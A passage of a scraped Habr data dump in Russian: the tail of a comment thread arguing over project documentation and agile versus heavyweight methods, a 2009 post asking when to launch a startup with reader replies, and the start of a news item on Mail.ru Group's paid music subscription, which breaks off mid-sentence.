к исходному и очень полезному для начинающих посту.", "UFO just landed and posted this here", "UFO just landed and posted this here", "претензии по мелочи - к примеру, программисты не определяют качество продукта.", "Есть некоторые претензии к основному тексту, но свою цель он достиг - заставил усомниться в том, что проект можно взять блицкригом с налета и без подготовки.", "Последнее время очень часто, к сожалению, говорю фразу:\n\"Нечего пинать на реализацию, если архитектуру просрали\"\nТак что уделяйте больше времени на проектирования проекта - это время никогда не будет потрачено зря...", "Про методологии разработки программного обеспечения написано достаточно. И спору нет их надо знать. Но не всегда все так как пишет автор статьи. Не всегда известны функциональные требования к системе на 100% в начале проекта.\nНе всегда плохо переписать ядро 15 раз. И даже лучше писать ПО чтобы можно было его переписывать. И желательно частями, а не целиком сразу - когда архитектура изначально четко заложена.\nКогда разрабатываешь ядерную боеголовку и ПО для нее - тогда нужно 100% следование стандартам и обширная предпроектная подготовка.\nЕсли же ПО само по себе динамическое, и может меняется со временем в зависимости от растущих потребностей пользователей - тогда и подходы должны быть более гибкими. Но в целом я с автором согласен - проектировать надо, но может не всегда по схеме им предложенной. Гибкость подхода нужно применять товарищи!", "1\\. Я говорил о контексте «В-третьих, для того чтобы не произошла ситуация, что оба программиста одновремено разрабатывают класс...»\n2\\. Это естественно. Но всё же я считаю, что клиент не должен иметь решающего слова в определении качества, потому что, как я уже писал, разработчики неохотно работают над тем, что не удовлетворяет их стандартам качества.\n3\\. Если команде нужны стандарты для описания зон ответственности и правила взаимодействия, то скорее всего это не команда.\n4\\. Команда разработчиков - это команда разработчиков. Если вы приглядитесь, то увидите, что менеджеры всё-таки находятся в стороне, если, конечно, не принимают активное участие в проекте. А остальные товарищи представляют собой отдельные команды со своими проблемами.", "А как же качество кода?", "Да, конечно, для начинающих, которые хотят сразу встать на скользкую дорогу тотальных стандартизаций я написал пол страницы текста, не имеющего отношения...\nВпрочем, это моё восприятие.", "качество кода тоже не определяет качество продукта. Есть гораздо более важные вещи.\nПрограммист - быть может, художник. Программисту нужно знать что то, что он пишет правильно и разумно. Ему нужно знать, что он использует cutting edge техники и что от него что-то зависит.\nПродукту этого не нужно. Продукту нужен успех.\nА если вернуться к исходной записи - там речь шла и вовсе совершенно об ином. О совершенно необходимых вещах, чуть только ваш проект стал чуть взрослее детского сада. Если над ним работают хотя бы 20 человек.", "О, поверьте - описанное в записи далеко не \"тотальная стандартизация\". Это минимально необходимые документы. Документы, без которых проекты проваливаются.\nЯ не хочу переходить на личности, но сюдя по профилю в МоемКруге - вы работаете уже три года в компании, в которой менее 10 человек. Соответственно - вы не занимались крупными (и даже средними) проектами. Для трех человек действительно можно обойтись без большинства документов. Особенно, если заказчик внутренний.\nЕсли это хоть сколько-нибудь серьезный проект - пренебрежение четкими методиками управления проектом (пусть даже и agile) - преступление.", "Ничего страшного, что вы посмотрели мой профиль в МоёмКруге, хоть какая-то от него польза ;) Восприятие средних и крупных проектов бывает разное, я затрудняюсь ответить. Документов у нас хватает, поверьте. Я уже горю желанием кое-что поменять в их системе. И я этого добьюсь ;)\nМинимально необходимые документы - это план того, что нужно сделать. Называть его можно по-разному. Всё остальное тоже очень желательно, но план - нужен.\nЧёткость должна быть, не спорю. Но представьте себе разработку по RUP? Это, знаете, такая беда больших компаний - излишняя формализация всего. Плюс, человек сам очень гибок, зачем его сковывать излишними методологиями?\nЯ понимаю, что не тотальная ;) Но долгий путь начинается с одного маленького шага. Воспроизвёл неточно, но суть осталась.", "Напишите про гораздо более важные вещи, я почитаю.\nКачество кода, естественно не определяет качество продукта полностью, но частично - точно.\nУспех нужен не продукту, это вы привираете ;) Успех нужен верхнему эшелону руководства.\nА если вернуться к исходной записи, то координация - необходимая вещь, даже если ты работаешь один. Естественно, что при большой команде координироваться надо лучше. Но для этого вовсе не обязательно переводить килограммы бумаги.", "В случае если Вам незнакомы функциональные требования к системе на 100% в начале проекта порой рекомендую использовать метод набегающей волны - т.е. уточнение требований по мере проектирования системы. Весьма полезный метод ИМХО", "Да я и не настаиваю именно на этой схеме :) Моя цель была подтолкнуть людей к *элементарной* документации и проектированию, а если они не знают как и что - прочитать стандарты, а потом подогнать их под себя.", "Что значит \"представьте себе разработку по RUP\"? Я работал по RUP. И это было невероятно приятно. Впрочем, это было оправдано.\nПонимаете, вам когда-нибудь приходилось создавать проекты, deployment которых не сводился просто к \"svn up\"?\nЗачастую deployment превращается в довольно хитрую и сложную схему. Как обойтись без ее описания? Вот вам SCMP. SDD - просто описание архитектуры проекта. Как без нее?\nБез SRS и вовсе не начинается ни один проект.", ">Что же сделать что-бы этого избежать и при этом не заниматься планированием по пол-года?\nНабираться опыта.", "Хотелось бы, что бы люди имеющие реальный опыт работы выложили посмотреть ещё несколько примеров того, как они ведут документацию. Понимаю, что это далеко не всегда возможно, но вдруг )\nЖелательно на русском )", "Статья правильная, а вот про документацию есть вопросы.\nС одной стороны, я рад, что наконец-то увидел систематическое описание требований к игре, давно хотелось понять, как к этому подходят в игровом мире.\nС другой стороны, удивило, что документы \"концепт-документ\" и \"спецификация требований\" в основном описывают не требования к ПО как таковые, сколько то, что классически принято называть \"бизнес-модель\" (модель предметной области, domain model) - а именно - понятия создаваемого игрового мира, их свойства, взаимосвязи, правила взаимодействия и эволюции.\nТ.е. в приведённых документах описано не проектирование ПО, а проектирование игры. Причём параллелей между классическим SRS и приведённой \"спецификацией требований\" я вообще не увидел, кроме разве того, что оба представляют собой структурированные документы.\nВозможно, для геймдизайна подобный акцент на описания моделируемого мира и правилен, но в начале статьи речь шла о стартапах и веб-разработке вообще, и для них всё-таки в большинстве своём Vision и SRS должны говорить в терминах ключевых функций, информационной архитектуры, видов страниц, состава страниц, видов сервисов, сценариев использования, макетов страниц, нефункциональных требований и т.д., что впрочем и упомянуто в самой статье.", "Сейчас эпоха сервисов и прелесть в том, что вместо того чтобы потратить, например неделю на планирование и проработку будущего стартапа - можно за то же время сделать работающий прототип на базе различных сервисов и frameworkов, выставить его на публику и посмотреть на реакцию. И дальше, если \"зажгло\" - приступить к планированию, реализации и т.п., причем с учетом полученного фидбэка.\nЯ пишу это потому что много времени работал в крупных компаниях и разрабатывал и внедрял ПО по различным методологиям. Когда делал свой первый стартап - потратил на него полгода - и в итоге -пшик, не выстрелил. Сейчас я вижу что можно было понять что проект \"не пойдет\" сделав за пару недель простенький прототип. Безумно жаль потраченного времени. Поэтому истина как всегда где то посередине. Не стОит делать упор на планировании и проработке по крайней мере до тех пор пока не станет ясно что проект потенциально удачен.", "Согласен, SRS там не совсем подходящее для web разработки. Ссылку привел для примера, это лучше чем совсем ничего :)", "Не думаю, что день-два сыграет большую роль, ведь именно столько понадобится для \"простенького\" прототипа. Кстати прошу заметить, я делаю акцент именно на минимум документации. Я тоже против кучи бумаг, но считаю что основы должны быть расписаны.", "PS: Ещё один момент - преимущество стартапов перед крупными корпорациями - их мобильность. За то время как корпорация потратит полгода на фазу планирования - стартап успеет \"выстрелить\" и отъесть часть рынка. Если он будет повторять путь корпорации то проиграет ещё на фазе планирования, так как бюджет кончится)", "Всё верно, согласен на все 100%. Этап планирования в стартапе нужно сократить, но не убрать.", "В таком случае не совсем понимаю смысл планирования на начальном этапе.\nНу хорошо, давайте на конкретном примере.\nДопусти есть идея сделать стартап отвечающий на вопрос:\n\"Что подарить?\" (родилась 5 минут назад, после звонка жены:) )\nИтак, опишем функциональные требования:\nЦель: Ответ на вопрос что подарить определенной категории людей на определенное событие\nФункционал:\nПользователь регистрируется, заполняет профиль и описывает самый идиотский и самый понравившийся подарок в своей жизни.\nС обязательным указанием на какое событие (ДР, свадьба и т.п.) и комментариями почему. Возможность комментировать\nВ профиле минимум - пол, возраст, примерный доход\nПочему будут писать: - похвастаться\nКак будут искать: по типу события и профилю - возраст доход и т.п.\nМонетизация: реклама ларьков с сувенирами.\nВот собственно план. Дальше берем первую попавшуюся цмс или фреймворк, делаем сайт - и показываем его как можно большему кол-ву людей. Смотрим на фидбэк, что не удобно, чего добавить, что исправить и если людям интересно - заказываем/покупаем дизайн, нанимаем/берем в долю программиста программиста и делаем на чистовик. Выпуск - доработка по фидбэку - маркетинг - продажа - следующий стартап.\nТ.е. вся прелесть - делаем все быстро. Не заморачиваясь на:\nSoftware project management plan, Software Requirements Specification и т.п.\nНадо опираться на отзывы реальных пользователей а не додумывать за них. А не выстрелит - забросить на раннем этапе и заняться другим чем-ть.\nВ общем Ваша статья больше подходит к разработке каких нибудь ЕРП систем, чем к запуску стартапа. Ну или к сложным стартапам с большой командой.", "Описать стартап в таком виде как сделали Вы - лучше, чем вообще ничего не написать. Была хорошая фраза, к сожалению не помню дословно, но смысл: Пока идея не записана, она не существует. Опишите проект хоть как-то, если будете использовать какую-нибудь методику или стандарт, то шанс того что вы ничего не забудете в процессе намного выше.", "Проектирование пользовательского интерфейса может занят 15% - 20% времени и ресурсов при разработке информационных систем. Тщательная проработки интерфейса действительно поможет избежать разного рода ошибок на ранних этапах разработки. Но для этого лучше всего не привлекать программистов у них совершенно иное мышление нежели требуется на проектирование интерфейсов.", "Тоже вариант, но все равно всего не предусмотришь - а время можно потерять достаточно!\nМожет требования лучше уточнять в процессе разработки - а на начальном этапе хватит метафоры и плана на первые один-два месяца разработки.", "Я бы сказал - людей лучше подталкивать к изучению методологий разработки и их применению. А то что Вы предлагаете - это выдранные из контекста практики. И почему-то Вы выбрали только один из возможных вариантов их использования. Никто не говорит что не надо проектировать, планировать, и тестировать.\nНапример само по себе тестирование - очень полезная вещь и тестировать можно без предварительного проектирования по стандартам как вы описывали.\nНадо Вам написать функцию сложения двух чисел? Сначала пишешь тест, в котором проверяется работы этой функции. По сути просто вызываем функцию с двумя параметрами и сравниваем с верным показателем. Тоько после этого пишем код самой функции. Чем не тестирование перед проектированием - даже круче - перед кодированием.\nПочему проектировать систему сразу не по ходу реализации ее функций. Зачем писать документацию на систему - если она нужна только ее разработчикам. А разработчик и так ее знают как свои пять пальцев - потому что сами же и написали. Вот другая точка зрения.\nЕсть разные методологии. И я не говорю о том что проектировать не нужно - просто это можно делать по разному, как это делать определятся в каждом конкретном случае.", "А я идеи записываю с целью структуризации информации в мозге! В своем. Потом как правило эта бумажка не нужна. Она и так в голове есть. :-) Потом пищу другую бумажку для разработчиков - в которой описывается по сути что должно получится в общем.", "Кончено нельзя - а то целей для разработчиков не будет. Только планировать надо как можно чаще - иначе план свою актуальность потеряет. И сам процесс должен занимать как можно меньше времени. В плане должно быть написано столько - сколько нужно программисту для понимания и не строчкой больше. А как реализовать мы сами знаем :-)", "А может занять и 50 и 100% времени - и потом получится что те мелочи которы проработали сразу - совсем не такие - потому как технически сложно реализовать, и видение у заказчика поменялось, и вообще мир не стоит на месте :-) Как-то не экономно получается... Не аккуратненько :-)", "А для этого есть авторский надзор, как у архитекторов:\nhttp://www.google.ru/search?q=%D0%B0%D0%...", "Есть превосходные \"легкие\" методологии создания программного продукта. Они расчитаны на малые группы разработчков до 10 человек.\nФормулировка требований - Use Case, см. книгу Алистера Коуберна.\nЛегкие методологии - Clear Case того же автора, Extreme Programming by Kent Beck.\nЛично я сторонник экстремального программирования и его практик.", "О, я имел в виду то, что это достаточно формализованный процесс. Но раз вам нравилось... Думаю, это проблема мировоззрения - мне претит излишняя бюрократия и формализм.\nНасчёт развёртывания, так его уже давно можно говорить по-русски, все поймут. Деплоймент же меня смущает, знаете, как в книге, где переводчик затруднился перевести термин.\nНу, и если надо где-то развёртывать проект, то естественно изучить, что есть и что надо, поэтому план развёртывания нужен. Но воротить большой док с описанием всех процессов? Для этого надо иметь огромную команду с очень плохой координацией, либо очень плохие условия.\nЯ ещё раз повторюсь насчёт того, что определить, что необходимо получить в итоге - правильно и просто обязательно. Сюда, вполне естественно, входят требования к продукту и его архитектура.\nНо описывать кто в команде чем занимается - это уже слишком. Это не команда, если её член не знает чем он занимается. Если же люди не знают, что делать и куда приложить силы, это проблема координации. И уж тем более, есть какая-то проблема, если кто-то в середине проекта вдруг стал недоволен.\nТаким образом - предварительному планированию, сбору требований и созданию архитектуры - да. Описанию процедуры развёртывания, особенное если оно сложное - естественно да. А остальному - нет. Никаких описаний кто в команде чем занимается. Никаких попыток описать все процессы, выполняемые человеком и свести их в документ. Описать все процессы невозможно, а человек - не робот.\nНи один проект не начнётся без людей ;)", "Качество кода важно, но меньше - чем качество взаимодействия, качество интерфейса. И вообще качество соответствия ожидания людей от продукта с самим продуктом.\nОб этих вещах можно почитать, например, у Алана Купера: \"Психбольница в руках пациентов\" (fictionbook-html, купить на Ozon'е", "Есть ТЗ, есть системные архитекторы, в конце концов. Да и мелочи как правило прорабатывают с умом и в свое время.", "Он кОбёрн, безо всяких ОУ: http://alistair.cockburn.us/index.php/Ma...", "Простите, опять же, но у меня такое ощущение, что у вас в голове какая-то каша из нахватанных откуда-то умных терминов, сложноподчиненных предложений и полное отсутствие практики.", "И вы на протяжении нескольких лет работаете над проектами, успех которых нужен только верхнему эшелону - я вам очень сочувствую. Правда.", "Если мне память не изменяет, методология называется Crystal Clear. Clear Case - это система контроля кода компании Rational.\nА в целом - гибкие методологии позволяют получить продукт на порядок быстрей и качественнее, чем следуя тяжеловесным методология аля RUP. Документация, как и любой артефакт, требует времени на поддержание и модификацию, причем чем ее больше тем ситуация хуже. Все указанные в статье документы помогают проекту достигнуть запланированного результата, но не гарантируют успеха проекта в целом. Так что выпуск проекта за 3 месяца по быстрым методологиям в большинстве случаев гораздо лучше, чем когда релиз происходит в том же объеме, но через год, зато следуя \"тяжелым\" методологиям. У Коберна есть чудная книга \"Быстрая разработка\", где подробно объясняется с чем это связано", "А завтра вы возьмете в команду нового разработчика, потому как старые перестанут справляться физически или уйдет кто-то.. и этот новенький просто потонет под грузом чужого кода, который писался \"как удобнее\" и не документирован вообще никак. Хорошо, если будет кто-то, кто проектировал систему и досконально знает структуру и при этом способен грамотно объяснить что к чему, а если нет?", "Ох, вот поэтому мы и имеем триста клонов одного и того же, работающих кое-как.. :(", "Насчёт каши. Она там бывает, что, впрочем, не является моей привилегией.\nНасчёт терминов. Посмотрите, я перегрузил ими текст? Нет? Ах, боже мой.\nПредложения мои - это дело моего подхода. Лучше конечно выражаться односложно, это упрощает взаимодействие.\nПрактика... Научите меня вычислять её количество по написанному тексту, я вам буду благодарен.\nЯ вас прощаю.", "Поверьте, я работаю над проектами, успех которых мне очень важен. А про руководство - так это распространённая практика у нас, когда начальство думает, что подчинённые разделяют их цели.\nЯ вас ещё раз прощаю. За сочувствие спасибо.", "Спасибо за рекомендацию. Этого уже съел, достаточно водянистая книга.", "Конечно, все хотят кушать, и проектировщики интерфейсов тоже. Но Купер немного передёргивает, впрочем, как и многие товарищи с похожими мыслями. Впрочем, понять их можно - голод штука такая ;)\nНе знаю, как там отбирают на проектирование интерфейсов по мышлению, но поверьте, достаточно поработать вместе с пользователями вашего продукта в реальных условиях и вы обретёте просветление. Тогда интерфейс очень быстро разгрузится от лишнего. Такое сейчас происходит в проекте, который я внедряю. Главное - узнать, что пользователю необходимо, какая информация. И какая будет полезна. Но это мой опыт, для других он может разниться.", "Самое важное в этом посте - то что проектирование должно иметь место. А то часто, когда начинаешь веб20 проджект в голову бьёт стартапная романтика.\nПо моему опыту стандартизированные подходы слабо походят для команды 2-3 человека которая делает продукт для енд-пользователей а не клиента.\nЯ подчеркнул из \"Getting Real\" и проверил и практике, что самым лучшим \"проектированием\" для веб приложений является дизайн всех интерфейсов. Только на основе всех готовых шаблонов можно писать код.\nА по поводу управления проектами есть прекрасная книжка Deadline. Роман об управлении проектами (Том ДеМарко)", "По сути, делаешь интерфейс и его реализуешь (поддерживаю citycat). Принцип DRY это весчь. Нормальный проектировщик всё в мозгу без проблем должен удержать.\nНу и промолчу о том, что природа 2.0 заставляет постоянно модернизировать приложение... Короче бессмысленно писать все эти бумажки, диаграммки.", "Описывать, кто чем в проекте занимается, необходимо как минимум тогда, когда в проекте есть представители Заказчика и Исполнителя. У тех и у других есть свои обязанности, и формализация этих обязанностей - безусловное благо для проекта.", "Это верно, но я говорил всё-таки про команду. А формализация - далеко не всегда безусловное благо.", "Варианта два: либо подскажут \"старики\",\nлибо программист разберется в коде сам - ели он конечно профессионал.\nЕсли не профессионал, и некому объяснить - гиблое дело, такому никакая документация не поможет. Программист должен уметь читать код, как чужой так и свой. И кроме того грамотно его писать. Если функция размером в 40 экранов - тут какую хочешь документацию пиши - все одно - хрен разберешь.\nИ кстати, OpenSource проекты, часто там документация? Максимум на API - и то когда это библиотека :-) Народу же с этим кодом работает гораздо больше, чем с напрочь задокументированными системами. И ничего - не жужжат! :-)", "А оно надо? Вот к примеру проект рассчитанный на два года реализации. Первый этап - через два месяца создать версию с минимальным функционалом и запустить в эксплуатацию. Далее еще через два месяц надо вторую версию с расширенным функционалом. Еще через два с нагрузкой на 10000 одновременных активных пользователей и так далее.\nЧто мы делаем в соответствии с описанной методой:\n\\- мы проектируем систему с учетом всех возможных расширений - два месяца\n\\- разрабатываем ядро системы с учетом возможностей его расширения и повышения производительности за счет масштабирования аппаратных средств - два месяца минимум, а то и пол года (какую спецификацию написать :-) )\n\\- разрабатываем минимальный функционал, закупаем оборудование, устанавливаем - два месяца (опять таки минимум)\nПолучилось странное! Прошло пол года - а у нас классная штука с ядром и чем-то по спецификации. Заказчик уже 4 месяца ждет первой версии чтобы ее раскручивать по всякому. А у нас понимаешь ли спецификации и жесткая архитектура.\nНе всегда методика описанная автором статьи соответствует реальности. Не спорю - проектировать и планировать надо. Но не обязательно так и в такой последовательности. Вариантов много и для каждого проекта нужно подбирать наиболее подходящий.", "Редко я встречал проекты, в которых конечный продукт соответствовал ТЗ на 100%. Если, конечно ТЗ писал не сам исполнитель, и в таком виде, что ему может соответствовать, что угодно, за ради прикрытия задницы :-)\nСистемный архитекторы - вообще забавные люди - бывают двух типов:\n1) Теоретик - пишет что и как писать и никто так не делает; Часто встречается в ИТ отделах не ИТ компания (заводов например)\n2) Царь и бог - что-то придумал, что-то написал. Все остальные пишут UI и вспомогательные функции как могут, а точнее как получится. Потому как \"богу\" не до UI и мелочи всякой! Получается дикий, необузданный монстр с афигенной архитектурой - этакий цифровой Франкенштейн! :-)", "Господа, все смешали в кучу проект, продукт, стартап, web 2.0... А, между тем, на мой взгляд, основная мысль автора (которую я поддерживаю): следование _стандартам_ может сэкономить вам выходные ;)." ], "author": [ "jahson (jahson)", "Сергей Петров (neoromantic)", "{}", "{}", "Сергей Петров (neoromantic)", "Алексей Долотов (dolotov)", "Антон Шевчук (AntonShevchuk)", "mvictor (mvictor)", "jahson (jahson)", "jahson (jahson)", "jahson (jahson)", "Сергей Петров (neoromantic)", "Сергей Петров (neoromantic)", "jahson (jahson)", "jahson (jahson)", "sheJa (sheJa)", "lostinwired (lostinwired)", "Сергей Петров (neoromantic)", "Setti (Setti)", "serjio (serjio)", "Денис Бесков (beskov)", "recoilme (recompileme)", "lostinwired (lostinwired)", "lostinwired (lostinwired)", "recoilme (recompileme)", "lostinwired (lostinwired)", "recoilme (recompileme)", "lostinwired (lostinwired)", "copylove (copylove)", "mvictor (mvictor)", "mvictor (mvictor)", "mvictor (mvictor)", "mvictor (mvictor)", "mvictor (mvictor)", "copylove (copylove)", "IlyaLevchenko (IlyaLevchenko)", "jahson (jahson)", "Андрей Сикорский (atermath)", "Андрей Сикорский (atermath)", "Денис Бесков (beskov)", "Людмила (ksoiss)", "Людмила (ksoiss)", "Дмитрий (dimach)", "Иван Роденков (veter)", "Иван Роденков (veter)", "jahson (jahson)", "jahson (jahson)", "jahson (jahson)", "jahson (jahson)", "Vladimir Bilonenko (citycat)", "romantolkachyov (romantolkachyov)", "scan001 (scan001)", "jahson (jahson)", "mvictor (mvictor)", "mvictor (mvictor)", "mvictor (mvictor)", "sgerr (sgerr)" ], "children": [ [ 11673123, 11673125, 11673129 ], [ 11673127, 11673141 ], [ 11673137 ], [], [ 11673139 ], [], [], [ 11673151, 11673153 ], [], [ 11673143 ], [ 11673145 ], [ 11673149 ], [ 11673147 ], [ 11673155 ], [ 11673195, 11673203 ], [ 11673179 ], [ 11673181 ], [ 11673193 ], [], [], [ 11673165 ], [ 11673167, 11673169, 11673209 ], [], [ 11673173 ], [ 11673171 ], [ 11673185 ], [ 11673175 ], [ 11673183 ], [ 11673187, 11673217 ], [], [ 11673207 ], [], [], [ 11673189, 11673197 ], [ 11673229 ], [ 11673199, 11673205 ], [ 11673201, 11673223 ], [ 11673215 ], [ 11673231 ], [], [ 11673211 ], [ 11673213 ], [], [ 11673227 ], [], [], [], [], [], [], [], [ 11673225 ], [], [], [], [], [] ] }
53,948
ru
https://habr.com/ru/post/53948/
Выбор стратегии старта и развития проекта
Работаю над своим первым серьезным проектом. Так как практически все приходится делать самостоятельно (либо привлекая людей со стороны, расплачиваясь с ними собственными сбережениями), то на реализацию всех идей естественно не хватает времени. Подобия реализации моих задумок уже существуют, рассматривать их как конкурентов довольно сложно, но можно и даже необходимо. Как быть в этой ситуации? 1. Запустить проект с базовым функционалом, предоставив конечным пользователям инструмент, более удобный чем у конкурентов, постепенно переделывая и дорабатывая его до идеала; 2. Либо отложить старт проекта, но когда все будет готово, произвести настоящую революцию. И в том и в другом случае есть свои плюсы и минусы. С одной стороны, хочется стремиться к идеалу и не переписывать проект почти с нуля при добавлении необходимого функционала. С другой стороны, новые идеи появляются каждый день и в конце концов, хочется на что-то жить.
<div xmlns="http://www.w3.org/1999/xhtml">Работаю над своим первым серьезным проектом. Так как практически все приходится делать самостоятельно (либо привлекая людей со стороны, расплачиваясь с ними собственными сбережениями), то на реализацию всех идей естественно не хватает времени. Подобия реализации моих задумок уже существуют, рассматривать их как конкурентов довольно сложно, но можно и даже необходимо. <br/> <br/> Как быть в этой ситуации?<br/> <ol> <li>Запустить проект с базовым функционалом, предоставив конечным пользователям инструмент, более удобный чем у конкурентов, постепенно переделывая и дорабатывая его до идеала;</li> <li>Либо отложить старт проекта, но когда все будет готово, произвести настоящую революцию.</li> </ol><br/> И в том и в другом случае есть свои плюсы и минусы. С одной стороны, хочется стремиться к идеалу и не переписывать проект почти с нуля при добавлении необходимого функционала. С другой стороны, новые идеи появляются каждый день и в конце концов, хочется на что-то жить.</div>
Roman (oleamm)
null
null
Работаю над своим первым серьезным проектом. Так как практически все приходится делать самостоятельно (либо привлекая людей со стороны, расплачиваясь с ними собственными сбережениями), то на реализацию всех идей естественно не хватает времени. Подобия реализации моих задумок уже существуют, рассматривать их как конкурентов довольно сложно, но можно и даже необходимо. <br/> <br/> Как быть в этой ситуации?<br/> <ol> <li>Запустить проект с базовым функционалом, предоставив конечным пользователям инструмент, более удобный чем у конкурентов, постепенно переделывая и дорабатывая его до идеала;</li> <li>Либо отложить старт проекта, но когда все будет готово, произвести настоящую революцию.</li> </ol><br/> И в том и в другом случае есть свои плюсы и минусы. С одной стороны, хочется стремиться к идеалу и не переписывать проект почти с нуля при добавлении необходимого функционала. С другой стороны, новые идеи появляются каждый день и в конце концов, хочется на что-то жить.
Работаю над своим первым серьезным проектом. Так как практически все приходится делать самостоятельно (либо привлекая людей со стороны, расплачиваясь с ними собственными сбережениями), то на реализацию всех идей естественно не хватает времени. Подобия реализации моих задумок уже существуют, рассматривать их как конкурентов довольно сложно, но можно и даже необходимо. Как быть в этой ситуации? 1. Запустить проект с базовым функционалом, предоставив конечным пользователям инструмент, более удобный чем у конкурентов, постепенно переделывая и дорабатывая его до идеала; 2. Либо отложить старт проекта, но когда все будет готово, произвести настоящую революцию. И в том и в другом случае есть свои плюсы и минусы. С одной стороны, хочется стремиться к идеалу и не переписывать проект почти с нуля при добавлении необходимого функционала. С другой стороны, новые идеи появляются каждый день и в конце концов, хочется на что-то жить.
article
1,236,619,614
{ "commentsCount": 3, "favoritesCount": 1, "readingCount": 510, "score": 1, "votesCount": 5, "votesCountPlus": 3, "votesCountMinus": 2 }
[]
[ "closet" ]
[ "popsci" ]
[ "выбор стратегии", "старт", "стартап", "как быть?" ]
1
null
null
{ "id": [ 13067107, 13067109, 13067111 ], "parent_id": [ null, null, null ], "level": [ 0, 0, 0 ], "time_published": [ 1236619995, 1236622635, 1236638535 ], "score": [ 1, 0, 0 ], "votes": [ 1, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Выпускать можно когда угодно раз уже идея реализована конкурентами. Другой случай когда вы спешите занять нишу, вы хотите заявить о себе и выпускаете проект в сжатые сроки. <br/>\r\nВ лубом случае — выпуская сырой проект есть плюс — запущенный проект заставляет работать и увидеть на что реально вы способны.<br/>\r\n<br/>\r\nМое мнение, нужно выпускать проект тогда, когда вы почуствуете что он хоть и сырой, но уже лучше конкурентов.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">С одной стороны, пока варитесь в собственном соку без выхода в свет, ваша оценка проекта может быть предвзятой и не совсем адекватной, как для лица заинтересованного. Поэтому, запуск проекта в мир будет объективно полезен для развития продукта (а иногда, возможно, и для отказа от идеи вообще, как от бесперспективной).<br/>\r\n<br/>\r\nС другой стороны, надо помнить, что как только проект переводится из состояния внутренней разработки в статус общедоступного продукта, он начинает потреблять гораздо больше ресурсов — и разработку надо продолжать, и продвижением, поддержкой, общением с пользователями и т.д. заниматься.<br/>\r\n<br/>\r\nЯ думаю, что, если в продукте уже реализовано УТП (востребованный костяк, который выгодно отличает его от всего остального), то лучше запустить проект, чтобы прочувствовать реакцию публики и получить обратную связь. А дальше, если связь окажется положительной, искать партнеров с необходимыми ресурсами и делать уже широкомасштабную «революцию». Все равно для серьезного проекта нужны ресурсы, в режиме «на грани» долго не протянете, если, конечно, не заниматься им лишь как хобби.<br/>\r\n<br/>\r\nЕсли же проект в стадии «через четыре года здесь будет город-сад», то спешить не надо, продолжайте дорабатывать основной отличительный функционал, иначе станете мечтать о 48-часовых сутках, и того не будет хватать — не получится ни разработки, ни выпуска в свет.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Надо выходить в свет. Если нет опыта запуска продуктов по сценарию ВАУ, то очень велика вероятность неудачи. Это у Джобса все выглядит просто и красиво, но на практике, оказывается, совсем не просто этого добиться.</div>" ], "message_markdown": [ "Выпускать можно когда угодно раз уже идея реализована конкурентами. Другой случай когда вы спешите занять нишу, вы хотите заявить о себе и выпускаете проект в сжатые сроки.\nВ лубом случае — выпуская сырой проект есть плюс — запущенный проект заставляет работать и увидеть на что реально вы способны.\nМое мнение, нужно выпускать проект тогда, когда вы почуствуете что он хоть и сырой, но уже лучше конкурентов.", "С одной стороны, пока варитесь в собственном соку без выхода в свет, ваша оценка проекта может быть предвзятой и не совсем адекватной, как для лица заинтересованного. Поэтому, запуск проекта в мир будет объективно полезен для развития продукта (а иногда, возможно, и для отказа от идеи вообще, как от бесперспективной).\nС другой стороны, надо помнить, что как только проект переводится из состояния внутренней разработки в статус общедоступного продукта, он начинает потреблять гораздо больше ресурсов — и разработку надо продолжать, и продвижением, поддержкой, общением с пользователями и т.д. заниматься.\nЯ думаю, что, если в продукте уже реализовано УТП (востребованный костяк, который выгодно отличает его от всего остального), то лучше запустить проект, чтобы прочувствовать реакцию публики и получить обратную связь. А дальше, если связь окажется положительной, искать партнеров с необходимыми ресурсами и делать уже широкомасштабную «революцию». Все равно для серьезного проекта нужны ресурсы, в режиме «на грани» долго не протянете, если, конечно, не заниматься им лишь как хобби.\nЕсли же проект в стадии «через четыре года здесь будет город-сад», то спешить не надо, продолжайте дорабатывать основной отличительный функционал, иначе станете мечтать о 48-часовых сутках, и того не будет хватать — не получится ни разработки, ни выпуска в свет.", "Надо выходить в свет. Если нет опыта запуска продуктов по сценарию ВАУ, то очень велика вероятность неудачи. Это у Джобса все выглядит просто и красиво, но на практике, оказывается, совсем не просто этого добиться." ], "author": [ "Иван (ivv)", "isea (isea)", "Павел Башмаков (bexcite)" ], "children": [ [], [], [] ] }
403,573
ru
https://habr.com/ru/post/403573/
Российские социальные сети вводят платную подписку на музыку
Сегодня стало известно о том, что «Вконтакте», «Одноклассники» и «Мой мир» вводят платную подписку на музыку, пишут «Ведомости». Об этом заявил представитель Mail.ru Group, которая и владеет всеми тремя соцсетями. Подписка работает как в веб-версии, так и в приложении Boom, которое создано Mail.ru вместе с United Media Agency (UMA). Агентство работает в качестве посредника между владельцем соцсетей и правообладателями. Стоит отметить, что теперь в мобильных приложениях социальных сетей можно будет слушать музыку только онлайн, поскольку кэширование отключено. Исключением является лишь приложение Boom, позволяющее пользователям кэшировать музыкальные треки, слушая их в офлайне. Источник рассказал «Ведомостям» о том, что отсутствие кэширования везде, кроме специального приложения — пожелание правообладателей. Дело в том, что они считают прослушивание музыки в оффлайне функцией, которая должна быть доступна в специализированном приложении. Стоить подписка будет 149 рублей в месяц. Она обеспечивает возможность работы сразу со всеми сервисами компании. Введение платной подписки не означает, что пользователи потеряли возможность слушать музыку бесплатно. Дело в том, что у купивших подписку пользователей есть дополнительные возможности. Например, они могут отключить аудиорекламу сразу на всех платформах. Также в платной версии есть кэширование, так что музыку можно слушать без подключения к сети. Интересно, что в iOS приложении кэширование музыки исчезло еще в сентябре 2016 года, тогда «Вконтакте» после переговоров с правообладателями восстановила музыкальный раздел. Платная подписка стала возможной спустя несколько лет после начала переговоров Mail.ru Group с правообладателями. Основной целью переговоров было заключение соглашения с крупнейшими музыкальными лейблами, включая международные компании и отечественных издателей по лицензированию музыки. Ранее правообладатели часто обвиняли российские социальные сети в пиратстве. Например, сайт «Вконтакте» уже несколько лет находится в списке пиратских ресурсов, который составляет торгпредство США. По мнению экспертов, общая сумма контрактов, заключенных Mail.ru Group с издателями, составляет около $8 млн в год. В эту сумму входят минимальные гарантийные платежи, которые правообладатель получает лишь за право использование его музыки сторонними компаниями. Кроме того, Mail.ru Group будет платить лейблам отчисления от каждого проигранного в социальных сетях трека. Дополнительный источник прибыли — реклама, размещаемая в треках. Пока что работает аудиореклама, но только 